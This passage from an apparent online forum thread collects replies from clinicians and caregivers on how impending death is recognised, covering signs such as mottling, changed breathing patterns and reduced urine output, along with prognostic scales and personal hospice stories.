doctor/nurse/NA/RA tells you someone is declining please make yourself and extend family aware and take it seriously. No one wants to lose their loved ones but being in denial is the worst thing for them. ", "By the way they\u2019re breathing. \nAlso, when their health is really declining you can tell by mottling, which is purple colored tiny spots (petechia) seen through the skin which starts in the feet  &  goes up your legs. \nOnce a person\u2019s feet  &  legs are mottling that\u2019s a big sign that their heart/circulatory system is slowing down. ", "I'm a nurse in a trauma unit so I've seen so many people die. I'll say that the more time I spend with a patient (sometimes they're there for weeks or even months) the easier they are to read. But sometimes there is just this \"sixth sense\" we have. It gets better the more experienced you are and certain nurses I know even with little experience may have a high level of empathy and can pick up on it faster than others. \n\nI remember one day a group of five of us were standing near each other in front of a patient's room. He had only been there a few hours. Suddenly we all looked up as if we sensed something in the air. Without speaking we walked over to the patient's room and he then coughed violently and started hemorrhaging from his chest. Two of us had been in the room maybe only two minutes before and he was completely fine. The monitors hadn't even picked up on the changes before us. It was incredible. \n\nThere have been so many other times where one of us will just say \"I have a bad feeling about this. I don't know why but he's going to code today.\" Vitals and labs will be fine. The patient may even be awake and talking. But if one of us says we have a bad feeling everybody takes it very seriously and is on high alert. And we're nearly always right. \n\nMaybe there are minute changes we pick up on visually, maybe experience plays a big role in helping define what is normal vs abnormal, and maybe there is something more, bigger that we can't really explain yet. Something spiritual? Hormones in the air? Some unidentified way we communicate with each other? ", "It  truly is just experience, but it's not that simple.. But that  experience is honed by personal learning by a physician and their entire  team as well as literature.\n\nMost elderly have medical problems that will lead to death like most  cancers, cardiac disease, pulmonary disease, liver disease, kidney  disease, etc. We have population statistics that predict mortality and  survival for all of these and most major common diseases given certain  factors. Doctors can predict death within a reasonable time period like 6  months- 1 year given so and so.  No one is going to be able to predict  very precisely, but predictions are done accurately over an interval  with good confidence based on these population statistics. If somebody  estimates in time frame of less than 3 months for these chronic  illnesses, they will more than likely be wrong. For more acute illnesses  like strokes, heart attacks,  severe infections, big blood clots, and  respiratory failure, we are even better at predicting timing of death to  withing weeks. We can gather many more diagnostic factors in these very  acute illnesses compared to the chronic illness with its slow insidious  approach.\n\nIn acute illness, there are many criteria we gather. For example for a  severe infection, we look at how many organ systems are damaged- kidney  function, heart, liver, and the hematolgic system- does this person  need support to breathe and how much because your risk of dying is less  if you just need a little oxygen v if a machine breathes for you. Is  there heart still pumping and keeping their blood pressure high enough  to perfuse their organs? Do they have enough support from bone marrow to  keep fighting infections? Are their kidneys perfusing and continuing to  filter out toxins and wastes? Another factor might be how well is the  person's innate immune system responding- do they improve rapidly with  antibiotics and fluids or no, and how is their general alertness.  Alertness has become a huge predictor of acute mortality in our newer  literature. Agitation and delirium can be part of this.  These criteria allow prediction of mortality from weeks to  within a few days. This patient is unlikely to be known by their  physician as likely it will be a specialist who works in the hospital  taking care of them.\n\nFor the more chronic illness like liver cancer from a person who had  cirrhosis it's a little different, but there is a lot of literature  still. We know that after you develop cirrhosis, you develop ascites  within 7-10 years. Once you develop ascites and start having kidneys  affected, or heart affected, or keep getting infections, you have 2-3  years or life left. If you develop cancer you have 6 months-2 years of  life left without treatment, etc. As you can tell, this is much more  vague but at least a person has more time to accept these changes in  their status in their lives. This person likely has had a liver  specialist and has years of relationship with them.\n\nThe other things that happen within 6 months of death are decrease in  activity level and daily grooming, increased need for sleep with  fatigue, decreased appetite, decreased weight, decreased interest in  general everyday activities and minutiae of their own life or others.  When people don't enjoy life, they don't live very long. It can be as  simple as grandmother broke her hip. She has had diabetes and high blood  pressure. She tries to control them but has a hard time stopping  smoking and eating out with her girlfriends. After her hip replacement,  she goes outside less, can't travel as much to eat out and then  eventually just can't go eat out, can't visit relatives, can't go to  grocery store. One day that might become can't check mail outside which  might become can't walk down to the kitchen. Which 6 months to 1 year  becomes can't get out of bed. Then she dies in her sleep 1 year from her  hip replacement like 1/5 of other people who get hip replacements. We  know this again because of population statistics. It is unlikely she  died just from sleeping- likely she had a massive blood clot in her  lung, or acute stroke, or MI. But no autopsy was done, so family and  medical statistics for her death certificate wouldn't be accurate. This is called \"dwindling down.\"\n\nOne of the funny things that journal articles about this topic reveal  is that having doctors who have a strong, long-lasting relationship  with a patient are more likely to make more inaccurate diagnoses.  Doctors are overly optimistic in these cases. Sometimes, this can mean  later referral to hospice care, less time for family to take care of  things like will, power of attorney, division of assets, and for  everyone to be emotionally ready for a loved one to die and for the  dying person to accept their death and division from life.", "There are signs of imminent death like skin mottling and agonal breathing. If you\u2019re talking gonna die today/tonight, that\u2019s how. Patients also get gray looking and urine output drops. If you\u2019re asking about gonna die in a month, it\u2019s because we know where the patient is in the progression of the disease and how long the remaining course typically takes. ", "I worked for about 1.5 years in podiatry. People who see a foot doctor tend to be older and tend to have comorbidities. The doctor I worked for made a comment about when he knew people were dying. \n\nHe would be wrapping up his visit and he would say something like we will see you in 3 months for a follow up! \n\nWhen they give a non comital disinterested response like \u201cif I am around then\u201d or \u201c we will see\u201d he knew it was time. \n\n", "I\u2019m a doctor. When I did my palliative rotation there were certain signs that told us that someone was close. For example, when someone starts \u201cmottling\u201d which is cooling of extremities and starts getting this lacy appearance then it is just a matter of hours to days. Also their breathing becomes irregular, they stop eating and drinking and then death is imminent. ", "From a recent hospice experience:\n\nThey start going gray and clammy at the extremities. Stuff hospice folks notice from repetition but most of us wouldn't.\n\nUrine decreases. Sleep lengthens. \n\nBut, hearing is still on, so they tell you not to say frank or hurtful things, like commenting on appearance or dredging up past slights.\n\nSay your goodbyes and go cry in the lounge.", "When you\u2019re close to death, your body pulls the blood away from your extremities and gives it to your vital organs as a last ditch effort to stay alive. So when they know a person is close to death in say a hospice, they can look at the legs and hands and tell when they have hours/minutes left to live. ", "I'm a nice nurse so I have been there for a lot of people at their end. Most of the time their breathing pattern changes for the last few hours. We call this cheynes stokes breathing. Also their vital signs will start to look different. Often if they are on comfort care they will be on a morphine drip that we titration to keep them comfortable. Sometimes they take a more sudden turn and you know because their skin and eyes start to look dull. Or they will stop making eye contact and stare at the ceiling which we call \"looking at the angels.\"", "I've seen around 500 deaths. I have thought about this a lot because I am so accurate at predicting patient outcomes and death, and I have tried to find out what is different objectively. The funny thing is, early on it is very much experience and gut feeling. I just can't seem to point to anything objective about it. This usually gives me a broad expiration time though, such as \"They won't last more than 24 hours.\" Later on, objective signs show up. Altered mental status is usually the first objective sign...Patients are slightly less responsive, more lethargic. Then they become even less responsive. A later sign is breathing pattern. You will notice that these patients breath slightly differently, using unusual muscles. This becomes exaggerated towards the very end when patients begin agonal breathing, which makes them look like a fish out of water. Agonal breathing always seems to precede death. If you see someone breathing in this way, they're absolutely going to die if no interventions are done. Slowing of the heart or rhythm changes are some of the latest signs. Those patients have hours or minutes left. ", "I worked in a nursing home for a while, but am not a licensed medical professional (yet!) but I can tell you how we knew. \n\n\nOften the resident would get weak and stop wanting to eat very much. That was the first sign. Usually, at some point they would stop getting out of bed. They would start spiking fevers for no reason. Low grade fevers, which would break with tylenol, but then come back. \n\n\nThen their faces and necks change. Sunken eyes, protruding collarbones. Sometimes their skin would start mottling (sic?) and turn grayish, usually down by their feet and lower extremities first. Finally, their breathing changes. It can become agonal, which is semi-gaspy mouth-breathing. And sometimes they'll stop breathing and start again, and sometimes they'll get a rasp in their throat from mucus secretions that don't drain anymore. \n\n\n", "There are telltalle signs we are taught to look for. For example, Cheynes-Stockes respiration is one of those signs. It is a breathing pattern where the person breathes in varying amplitude and makes a pause varying anywhere between 15 seconds and 1 min approximately.\n\nAnother sign to look for is a sudden increase in energy. I've had palliative care patients who woke up in the morning, suddenly saying they were hungry and felt better than they had in days. They most often die the same day or the following one. ", "I work in the ICU so I have the benefit of continuous vital sign monitoring. If someone is steadily declining (lower BP, O2sat, HR) you can kinda predict about how much longer they may last before their body just can\u2019t compensate any longer. Sometimes sudden EKG changes are indicative of imminent decline. The most sure-fire predictor is when someone starts hallucinating God/Jesus/angels, etc.; I\u2019ve never seen someone live longer than 24 hours after that. ", "The lungs fill and cause the Death Rattle. I know it sounds cold but this term has been around for decades. As long as the patient is DNR it is not hard to tell that they are close. ", "Palliative care physician here. I practice end of life care. The real ELI5 answer is it depends on how quickly you see changes occur. If deteriorating over months then they usually have months left, if weeks then weeks and if days then days. When people stop eating and drinking it's really just a few days. \n\nSome diseases are easier to predict than others. Lots of research has been done on most cancers and they tend to be predictable. People are fairly stable to a point and them drop off quickly. We use a score in these patients called a Palliative Performance Scale (PPS) that uses ambulation, activity, self-care, intake and level of consciousness to create a score that helps us to come to a prognosis and allows for quick and easy communication with other care providers.\n\nChronic diseases such as heart failure, end stage kidney disease, liver failure, chronic obstructive pulmonary disease (COPD) are much harder to predict so the course of these illnesses is very up and down so a PPS score does not apply. People do great and then have an exacerbation of their disease or hospitalization and then do well again and you never know whether they are in just another drop or if it is the end. \n\nChildren are even harder to predict as they are quite resilient and often can look quite good until the very end. Again a PPS cannot be applied as this tool was developed using an adult population.\n\nWhen it comes very very close to the end there are signs such as irregular breathing and increased secretions into the mouth as well as a certain look on the face that are all very telling.\n\nI believe there also was a study that out of everything the best prognostic factor was asking an individual's physician whether or not they would be surprised if their patient died within the next year as often the physician was right. As a physician you get a feel for these things.\n\nDespite all this no one has a crystal ball and is right all the time and even the most experienced medical professional can be proven wrong. It's a part of why I love medicine - I am always learning something new and continue to be humbled every day. \n\n*edited sentence in first paragraph for clarification", "PharmD here. \n\nThere are a couple of ways we \"know\" it's coming. Let's start with a very basic patient complaint. Patiet comes in with headache for 3 weeks. stomach pain. trouble sleeping.  throw in either constipation or diarrhea\n1. Labs - we don't know what's wrong. something is, but there is nothing that is telling us.  we run labs. hopefully find out it's an infection. give antibiotics. but instead we see the labs. I think someone here mentioned thier parents kidney failure. So you get the labs and look down and see the kidneys aren't working. if it's severe and there is injury or muscle breakdown(labs) or a number of other things showing that they are done for, then you know you have very limited time to save them. if it's other labs, then you can tell which organ is failiing. different organs are more important. or drugs can fix it, but only for so long. or dialysis. but it's usually one lab tied to another ten lab vaules.  usually , this tells you if they are going to die soon and we've had to tell someone, there is nothing we can do. call your family. Generally the labs don't tell you someone will die in months or years. \n2. clinical presentation. very similar to the one before. but there are signs of disease progression. in above example, let's say after 30 mintues of interviewing patient, she has become confused. lethargic. and you thought she was fat, but upon the doctor coming in, turn out her belly is swollen with fluid. giving her different treatments and send for labs, but you know it's liver failure. you ask about her medications and alcohol consumption and hep c status but she is not help.  a couple hours later you've  given her treatment for ammonia in her brain, treatment for Tylenol poisoning, and drained her belly fluid. nothing helped. soon you are testing her body reflexes and she is waving at you. hand up and down. not right to left. hand up and down up and down. she has maybe a few hours to days to live and there is likely nothing you can do about it. \n3. Experience.  original case. person comes in. you do diagnostic work up. nothing. maybe a few abnormalities in the lab but nothing too far outside the normal limits. maybe their walk is a little off. maybe you do some genetic tests over the next few weeks. eventually you realize you've seen this before. several times. and everytime you've had this case, the patient lasts about 6 months.  this is tied closely to the next part. \n4. averages.  the average person lives to be 80.   the average person with CF won't live past 30, depending on severity. schizophrenic is likely to die before  45. person above walks in and you quickly realized they are schizophrenic. now they also are currently high.  subtract a few years. they also are in an abusive relationship with another schizophrenic. subtract a few years. they are homeless. they are off thier meds.   They have a year to live at most, unless you get them help right now. if they walk out that door while you aren't looking, then it's 6 months they come in as a corpse. on average. but this one could be different. they could be 6 years. they could be 6 days. on average, the person described has a very limited time frame. \n5.  all the above combined. for . Cancer. because. fuck. cancer. you. pull the labs. abnormal values. way bizarre values. and you do more specific values and see protiens where there shouldn't be.  and patient mentions... blindness. or anger where there has never been anger. or a large and sudden growth. a spot. a feeling. they can't walk like they used to. all their bones hurt. something isn't right. you're the physician/nurse/pharmacist team and you find cancer. fuck cancer. what kind of cancer? has it spread? is in agressive? test it. on average the person with XY type of cancer, with multiple spots, on this organ and that organ,  with labs that show 100 times normal limits. on average this type of showing of this type of agressive cancer is 6 months. with treatment of drug ABC the average patient survival is 9 months. with combo treatment that will make the patient want to die is increased to 10.5 months. but you're in a pediatric oncology office. he's been doing this 17 years.  he knows that in a patient this age they do better on these treatments and have a 26% chance of survival of more than 5 years. or the opposite. in his experience, even with the best of treatments in the best of moods it'll, the patient should have 8 months, but his last experience is 3 tops. there might be a little differnce due to the last , very tiny last point\n5. scare tactics. in general, don't think doctors use scare tactics like you will die in x amount of time. mroe broad. usually, the example would be the patient above is found by lab work to have diabetes. bad. for a long time. maybe presents with headache due to sugars in the 800 range. all out of whack. eye sight blurry. but diabetes is a long term disease for the most part. (we won't talk about long term unchecked diabetes with gangrenous leg amputations. ) follow up visits reveal this grandpa of 8 hasn't done a damn thing to control his sugars in the last three months. then you pull the , sir in less than ten years at this rate you will lose your foot. and be blind. everything will feel like it's on fire. you will want to die. that may or may not work. but you've set the expectation that they can't infinitely go on like they were. ...... in the cancer example.the doctor is really not going to use scare tactic. but... if the patient is in such shock or denial, I have seen once or twice the diagnosis time be shortened just a little to get them in the urgency of writing a will. saying goodbye to loved ones. it's not a matter of you of months to live, it's a matter of you are counting down toward death and there is no time. \n\nThis is my best eli5. I'm sure a doctor can go into it way more and can probably give ten thousand examples. \n\nI'll give a few brief ones. \n\nLong-time alcoholic patient comes in with same complaints as above except also complaining of extremely painful tooth for 2 weeks. Hep C positive for 22 years. took 42 tablets of Tylenol everyday until basically her liver gave up, scarred beyond repair. her labs gave us first clue. her ascites (not as bad as they can get and hard to tell due to overall obesity) she was 39.  doc gave her maybe 2 weeks if we were in time.  one of our exams, she is drunk like. and starts waving bye when we left her arm. that's what doc number two said. she's waving bye to you. she doesn't know it yet. gave her two days. on day two she was dead. Tylenol overdose. from a toothache.", "Weird... None of the top replies sound like my wife's (nurse) experience. She calls it 'the last hoorah'. She'll notice what others here notice like slow declining health, discolored body parts or whatever, but one day suddenly they'll bounce back. Full of energy, talking to people, having fun, etc. Then that night (or day later), they'll pass.\n\nThe last hoorah. ", "Like mentioned above there are physical and tangible things to look out for.   I however seem to just know when it\u2019s coming. I can walk into a room and know; its this nagging feeling I get. My coworkers and our hospice nurses always come find me to \u201cdouble check\u201d as well as guess how long. I\u2019m eerily close as the how long and haven\u2019t been wrong yet. My DON calls me the Angel of Death. Most of the doctors and my coworkers know if I say it\u2019s coming it is and we need to prepare. \n\nI\u2019m sure there are plenty of other medical professionals that experience the same thing. I also have a patient that seems to know the exact moment they pass by leading us to their bedside. It\u2019s creepy. ", "I've noticed an important \"sign\" when my patients have been close to passing away. Not all of them have exhibited it but it must definitely is a sign: when they start hearing and/ or seeing loved ones who have already passed. ", "As a doctor i can tell you it's very inaccurate! Long term predictions are often off are just based on statistics. Short term deaths are better predicted because you can tell when a person is close to die", "Worth it to research what a Rothman score/index is. It's a score conglomerate of the patient's vital signs, assessment data, and lab values that gives a relatively accurate prediction. ", "Hey friends, not a medical professional, but long term volunteer in crisis counseling. There\u2019s another set of \u201cclose to death\u201d signs to know about, for individuals approaching a suicide attempt.  These are signs that accompany a planned suicide attempt rather than a reactive suicide. \n\nThings that are warning signs: \n\n1. A complete disengagement from traditional responsibilities; bill paying stops, they might stop going to work altogether, avoiding church groups and other activities to which they have normally committed. \n\n2. A passive or uninterested attitude towards future events, especially ones they\u2019ve enjoyed in the past or have been anticipating.\n\n3. On the other hand, adopting completely spontaneous out of character habits or practices. Someone may start using drugs or start engaging in risky activities. This usually accompanies someone trying to \u201cget it in before they go\u201d or because then no longer worry about consequences. \n\n4. Sudden financial or property based decisions. Draining bank accounts or gifting people their beloved items can be a sign they\u2019re trying to put things in order. \n\n5. Jokes or frequent mentions of suicide. This one may seem like it\u2019s not a big deal, but often people begin introducing the idea of their death by suicide in small ways before they themselves attempt. \n\nThere are lots of other symptoms of impending attempts, but these are some of the big ones. Sudden deaths due to suicide can be shocking and devastating to families and friends. Being aware of these signs is also a good way to try to get medical help or reach out to the person before an attempt is made.\n\nSorry this is a bummer, but it\u2019s better to be informed and aware what can prelude a sudden death. ", "Most deaths are very similar, cancer does not kill us, nor does bacteria, what they do is cause organs to begin to fail. So when your heart or lungs or liver fail, regardless of the facilitating factor, the symptoms are the same.", "They say if you do anything for a hundred hours you get good at it. Some of us have worked around the sickest of the sick for way more than 100 hrs. You just know. Sometimes, a nurse will be the first person to know, and force a physician to have an uncomfortable conversation with a family, or even broach the topic with the family themselves. It helps to see it coming. Then you can help the family get ready. ", "Grandpa is 91 right now and is expected to die very soon by medical professionals. We are going down to visit him. He is 91, lost interest in eating, is in constant pain and cannot sleep because of it, swollen lymph nodes, he lost ten pounds in a week, generally very very weak. ", "I work in the lab so I don't have any direct patient care but I do see lab results that are ominous.\n\n1.) Lactic acid that's  >  10. Unless the patient is a type 1 diabetic or a muscle crush injury, it's very hard to come back from that. (Per a hospitalist). Lactic acid = sepsis kinda. \n\n2.) They have a \"left shift\" plus nucleated red cells. (Per a pathologist) \n\n3.) This hasn't been proven but I've seen it in action. We call them the \"green crystals of death.\" They're essentially dark green cell inclusions and usually the patient dies within 24 hours. No idea why though ", "For things like old age and a long suffered disease, it\u2019s not necessarily just one thing. But there are some important things I look at to help:\n\n1) Most important is how functional they are. If they have a horrible disease but they\u2019re able to do pretty much everything they need to and at least some of what they want to, I\u2019m less worried than if they\u2019re struggling just to grab milk at the grocery store \n\n2) patterns are important. If someone was chronically ill for a while but is now getting hospitalized every month, for instance, I\u2019m worried \n\n3) often a new, apparently small illness is enough to throw everything out of whack and be irrecoverable. When you\u2019re chronically ill you may look ok on a day to day basis but you don\u2019t have a lot in your reserve tank if something goes wrong \n\nFor specific disease processes there are scoring systems to help us make a prediction. But sometimes were wrong! I had a patient who was enrolled in hospice who lived a year and a half on hospice. To be eligible for hospice, we have to protect that you have six months or less to live so obviously, and fortunately, we were wrong on that one", "As an ICU doc, it's a bit different than in the hospice world (which very appropriately involves the majority of this thread).  We often have an overwhelming amount of data (labs, hemodynamics, radiology, etc), which the patient/families/loved ones can't really see/interpret.  For example, a patient's vital signs might look the same day to day, but it's more difficult to notice the drastic changes in medications to keep those vital signs within the normal range.  The challenge often lies in helping families/loved ones understand the physiologic changes that are happening, despite the patient looking fairly unchanged day to day.  \n\nWith a bit of experience, predicting \"getting close\" to dying can be somewhat simple.  It is important to note that we do get it wrong.  I usually speak in terms of minutes/hours/days (and my canned line is \"I don't work in the business of guarantees, but in my experience this is what I suspect will happen\").  \n\nIn dealing with my lung cancer patients the conversation is much different.", "\u201cSense of hearing lingers\u201d hit me pretty hard as well. A close elderly friend of mine passed away recently. I saw her on a Saturday and she was non responsive. I told her that she could go be with her husband and daughter (who passed away at 7months) and that I was ready for her to go. I thought I saw her eyebrows raise a bit giving me a sign but it could have also been a coincidence. She passed away the next night. \n\nPart of me feels she waited for me to say good bye and that once I told her I was okay with her going, she left. ", "Everyone has already mentioned the clinical signs. I used to be a CNA where I interacted with dying people on a daily basis. I didn't have to deal with charts and tests and numbers very much but we just KNEW. The body prepares for death in advance so you just know when the time comes. Rarely do people just slip away quietly in their sleep. Death comes over a person and takes days and sometimes even weeks to complete. The more memorable signs of impending death that I recall is that a few days prior they stop eating and drinking. Once that happens you know they only have a matter of days. They stop needing to swallow because their body no longer needs nourishment. All of their energy gets diverted away from digesting food and goes into their breathing. So we have to swab their mouths with a wet sponge because it dries out. Several hours to a day or two prior to death their breathing becomes shallow and labored. It kind of reminds me of how a dog normally breathes. Minutes before death it sounds like they are drowning when they try to breathe. It's a sound I will never forget for as long as I live. They also may hallucinate and ask for family members. Several days before an elderly lady I took care of passed away she thought I was her daughter and told me how much she loved me. She stopped eating and drinking so we knew it was going to happen very soon. A few minutes before she died she held my hand and told me she was scared and that someone was coming.", "In June 2017, my husband, who was suffering from Alzheimers. contracted aspiration pneumonia and was hospitalized. We learned his gag reflex was almost non existent and we were told he was dying. They sent us home to get rest, saying they would call if anything went rapidly downhill. We walked in the next morning and he was sitting up in bed reading a newspaper.  Everyone was shocked. They sent him home on hospice care, and told us to spoil him with thick drinks like milk shakes and smoothies. I really didn't understand the need for hospice - I thought we were out of the woods because he seemed to bounce back, yet the hospice nurse didn't encourage me to believe he would get better.  I refused to believe that. After about 3 weeks, I was able to take him out for drives and even to eat his favorite Chinese food. After 6 weeks, it was obvious he was going downhill, getting very much weaker, and not hungry., but he still knew who everyone was. On the Thursday before he died, the hospice nurse told me, \"Sandy, he's dying\".  He was still talking and breathing OK and I didn't understand why I was told that. The next day he stopped eating or drinking, and the dying began. He was surrounded by family and everyone had been able to tell him how much they loved him. We put Elvis music on, put ear buds on him, and stayed by his side. Our German Shepherd dog, who adored him, didn't leave the bedside. On the Sunday, the day before he died, he kept reaching up to the ceiling with his hands - we hoped he could see loved ones waiting for him, and the German Shepherd was looking up there too. His breathing kept changing and got shallower and shallower and on August 14th last year, our son's 48th birthday, he died very peacefully. To this day, I don't know how the doctors knew to put him on hospice - he wasn't at the very horrible end stage of Alzheimers where he didn't know anyone, and I don't know how the hospice nurse knew on the Thursday that he was dying - he was sitting up in bed and talking. Still they know what to look for, and see things the caregiver doesn't see, or doesn't want to see. Hospice workers are angels, and I'll hold the ones at Wilshire Hospice in my heart until the day I die.", "A lot of these responses are regarding immediacy of death. There are indicators we use for likelihood of death within the year. \n\nOne evidence based tool is called SPICT where clinical signs can identify patients who are at much higher risk of passing within the year. Although, the tool was designed to prompt medical professionals to have end of life care discussions. \n\nOther things we look at are albumin levels (indicator of malnutrition and decline) and number of recent admissions for chronic diseases. Specialists have certain examination findings and treatment responses to look for (ie when it becomes difficult to balance blood pressure and fluid overload in a heart failure patient). \n\nWhen patients reach these end stages of their disease, small things like a cold or dehydration is life threatening and can cause rapid deterioration as described in other posts. The body can no longer deal with those insults. ", "Family medicine (generalist) resident with some limited experience in palliative care (the service of patients with life-limiting diagnoses or high burden of illness requiring complex symptom management needs).\n\nIn general, what people have said about symptoms, vitals and trajectory are all accounted for with mostly our prognosticating data coming patients with cancer and other chronic diseases with high burden of 6- or 12-month mortality (liver cirrhosis, congestive heart failure, chronic kidney failure).\n\nMore specifically, scoring tools such as palliative performance scale (PPS _URL_0_) can be helpful and are most accurate in predicting impending death in hours to days, and less so in days to weeks, weeks to months, etc.\n\nClinically, terminally ill patients who are progressively bed bound (generally weak from muscle, salts and nutrition wasting), not wanting to eat (catabolic state from multi organ failure) and confused/sleepy (sedation or terminal delirium from toxin buildup) are all increase the likelihood of death in hours to days. \n\n**It is important to note that many acute illnesses may look like this (ie someone with septic shock from acute pancreatitis may not have appetite, could be sleepy or confused and certainly lack energy to move about). However, the acuity of the diagnosis and presumed reversibility of the physiology will make the previously outlined predictive tools inappropriate for use. \n\nTo double back to your question about vague situations of old age and chronic diseases, it is very diagnosis specific:\n- congestive heart failure of a certain degree (class IIIB and IV) characterized by shortness of breath at rest or with minimal activity such as changing clothes, eating, etc have 50-60% 1-year mortality\n- chronic kidney someone has already mentioned is very dependent on dialysis and again, degree of failure estimated by kidney function tests done with blood tests\n- old age is super vague but some principles of cancer causing multi organ failure can apply\n\nIn a sort of summary, the symptoms of impending death and dying such as mostly sleepy or confused, minimal to no oral intake and bed-boundedness combined with RATE Of progression from week to week AND understanding of specific organ-related markers allow us to tighten up the prediction.\n\nAs a caveat, we are terrible at predicting anything beyond days to weeks in the vague, chronic and terminal cancer patients.", "As the organs and biochemical engines that keep a person alive start to give out we start to see signs that we recognize from our training and experience. \n\nNo one can really predict well sudden death from old age alone. \n\nIf an organ is diseased then either labs or physical signs of that organ\u2019s failure start to become more evident and we\u2019ve seen enough people go to recognize the tipping point. \n\nExample: liver failure, worsening yellowing (because the liver usually clears the body of bilirubin) of the skin and rising ammonia level on blood labs until a person has hepatic encephalopathy (toxic chemicals from the liver failure) to the point of passing out, usually pass in 1-2 days. \n\nLeft heart failure: heart can\u2019t lump blood out of the lungs so lungs get wet and don\u2019t work as well, eventually they can\u2019t keep up the work of breathing so fast and die because they can\u2019t get enough oxygen. \n\n\nA medical doctor who unfortunately sees people die.\n", "The 10 or 15 minute warning of death - The muscles of the abdomen often start to compensate for a poorly operating diaphragm function and you will notice the 'tummy' area rise and fall as the body attempts to respire, an experienced hospice nurse told me this when I asked about watching for 'signs' that my mother's demise from ovarian cancer was imminent.\n\nTwo years after my mother's death, I observed the love of my life, Elaine's tummy rise and fall about 20 minutes before she died of pancreatic cancer. Knowing what is happening and knowing that it's essentially all about oxygen can be very frustrating. We let human consciousness, with its vast libraries of experience and memory, of wit and charm and stories, of personality, evaporate like a morning dew because we can't be bothered.\n\nWe spend billions on sports and mindless distractions while stupidly accepting death as 'the way it's meant to be'.\n\nI'd rather that billions were spent on supplying oxygen to the brains of the people we love.", "With a slow decline in health with expected death health care workers in some areas use a scale called the Palliative Performance Scale (PPS). \nIt is an 11-point scale designed to measure patients' performance status in 10% decrements from 100% (healthy) to 0% (death) based on five observable parameters: \n\n1. Ambulation (walking) ie are they able to walk like they normally would or how severe are the changes, up to bedridden.\n2. The ability to do activities, compared to their normal or how severe the changes are.\n3. Their ability to perform self-care, can they shower, bath, toilet independently. \n4. How is their food/fluid intake, ranging from their normal to none. \n5. Their consciousness level, are they awake, do they wake up with stimulation, are they non responsive.\n\nBased on their initial score and how quickly their score is declining we can estimate how long the patient has to live.  If the score is declining over months, the patient probably has months to live. If the score is declining over weeks, the patient probably has weeks. If the score is declining over days the patient likely only has days.  \n\nWith all this in mind, there are no guarantees of an accurate prediction!", "My dad said that flies would end up near/on a patient as if they could smell death coming. Only one or two flies, and this was in a third world country.\n\nNot scientific, but he\u2019s seen it happen many times (he\u2019s a physician). Kind of scary yet cool that they sense it.", "Critical care physician here. Depends on what you mean by \"about to die\" to some degree.\nAlso, it's important to say that \"old age\" isn't a cause of death.  We always die of \"something\", and at the end of the day, we really only die of three things : \n1) the brain is irreparable damaged - this can be via trauma or another cause, such as unbroken seizure activity for greater than about fifteen minutes causing overheating and thus a literal \"cooking\" of the nerves.\n2) an inability to oxygenate the blood, such as a drowning or asphyxiation.\n3) by far most commonly an inability to deliver oxygenated blood to the brain, or more accurately an inability to maintain a blood pressure high enough to \"push\" oxygen across the blood vessel walls into the cells.\nSo really, they are all the same, irreparable damage to the brain, by direct physical, thermal, or chemical damage.\n\nIn longstanding illness (and what is called \"old age\" is essentially always the presence of one or more longstanding illnesses) there is a somewhat predictable cascade of events we broadly call \"MODS\", or \"multi system organ dysfunction\".  \n\nThe body is a very highly interrelated system that operates in an astonishingly narrow range of chemical and thermal environments, if pH or temperature or a hundred other things go outside this zone, it just doesn't work (incidentally, the \"alkalinization\" health trend is absolutely hilarious for this reason, if there is one thing to can't tolerate, it's your pH going even a several hundredths of points on the logarithmic pH scale above normal in the alkaline range, fortunately we have very robust systems to prevent this and make this trend just an expensive scam rather than a lethal one).\n\nSo eventually one or more systems gets dysfunctional (usually kidneys or liver as they maintain this narrow environment) as a result of a series of insults due to cancer, or other long term disease to the point that this chemical etc environment can't be maintained, and the heart and blood vessels are unable to efficiently keep the blood pressure high enough, and the feedback loops no longer function, and we see a fairly predictable sequence of rising levels of certain easily detectable chemicals, and falling levels of others, and certain behavioral changes (cachexia, the loss of interest in food is one) that usually foretell the entering of this terminal sequence of events.", "I work in intensive care. We tend to monitor people to give the family a definitive \"theyve died\" moment. One thing you see shortly before is the breathing pattern changes. Its called cheyne stoking. You know when that happens they are very close. You always have to wait until theyve stopped breathing and give it a few moments as they normally take one large last breath. Personally i think giving the family a precise moment helps put it into perspective.  They can be sitting at someones bedside for days so ill normally say that these are the final moments with your family member. Everyone huddles round and is with them when they die.", "How long a \"doctor gives you to live\" is based on averages of that specific condition at that specific stage. A certain type of cancer at a certain stage has an expected survival rate based on observations of people who had that. \n\nBut for people who are actively dying, predicting when death will finally come is not an exact science. My grandma was pretty much comatose and lasted 36 hours after we made her a Level C (comfort measures only) status. She was doing Cheyne-Stokes breathing most of that time, which is an indicator things are starting to shut down.\n\nWith other patients, you can see their blood pressure starts dropping, heart rhythm has changes, breathing becomes irregular and other signs and symptoms that the body is starting to shut down. From these signs, you can tell if someone probably only has hours to live, rather than days.", "Many a times those about to pass on have been observed to get a lot more energetic and lively after prolonged periods of semi consciousness.\n\nThere is a Chinese saying for this \u56de\u5149\u8fd4\u7167. It literally describes how the sun suddenly flares up in brightness at the very last moment before it sinks into the horizon. Culturally it is used to refer to the phenomenon where those about to die will suddenly appear alot more lively like they have never been in a long while before they pass on.", "Doctor and physiologist,\n\nAt its base all death is related to system failure, based on organ failure.  Physiology tells us that certain organs are very greedy/stupid and refuse to share their blood/nutrients with the rest of the body.  The brain and kidneys are the primary culprits of this concept.  You could exercise to a maximal rate, and your brain and kidneys will continue to take their share of blood despite your other organs in the body (stomach, intestines, even liver will give their blood/nutrients to the muscle, as that is what is needed in that moment.  With this in mind, if we find a slow down in function of these two organs, we know there is a big problem.\n\nSo any decrease in urine output, or discolored urine, is a big sign that the kidneys have slowed/stopped working, this is a sign that the body is moving to system failure.  This is also super easy to measure.\n\nAlso brain function can be measured without a PET scan, just by talking to and watching the person who is dying.\n\nI have always advised patients who have dying relatives to watch their urine, and mental state, if either one of those start to diminish rapidly, make your peace with God, and contact any relatives who would want to see their dying loved on.", "I'm an inpatient physician and frequently I care for elderly / hospice patients.\n\nThe term that medical professionals use is \"prognosticate\".  When patients or families ask for a prognosis, there are several tools to use to gauge someone's expected survival.\n- Overall you look at the comorbidities someone has (how many diseases/conditions they have) and their severity.  Certain diseases, depending on their severity, have statistics as to 5 or 10 year survival rates.\n- Karnofsky Scale (or other similar performance scales) - these assess physical function / level of independence on a graded scale.  To give a very cursory/butchered version: 100/100 indicates you're completely independent.  50/100 means you need some assistance and cannot work.  30/100 means severe disability.  0/100 is deceased.\n- There are other scales to assess mental status / dementia.  A couple of examples are MMSE (mini mental status exam) or MoCA (Montreal Cognitive Assessment). Patients who have chronic neurological conditions such as dementia (and depending on severity) also have generally worse prognosis.\n- One of the most important indicators is how often we have been hospitalized within the last 6 months.  More 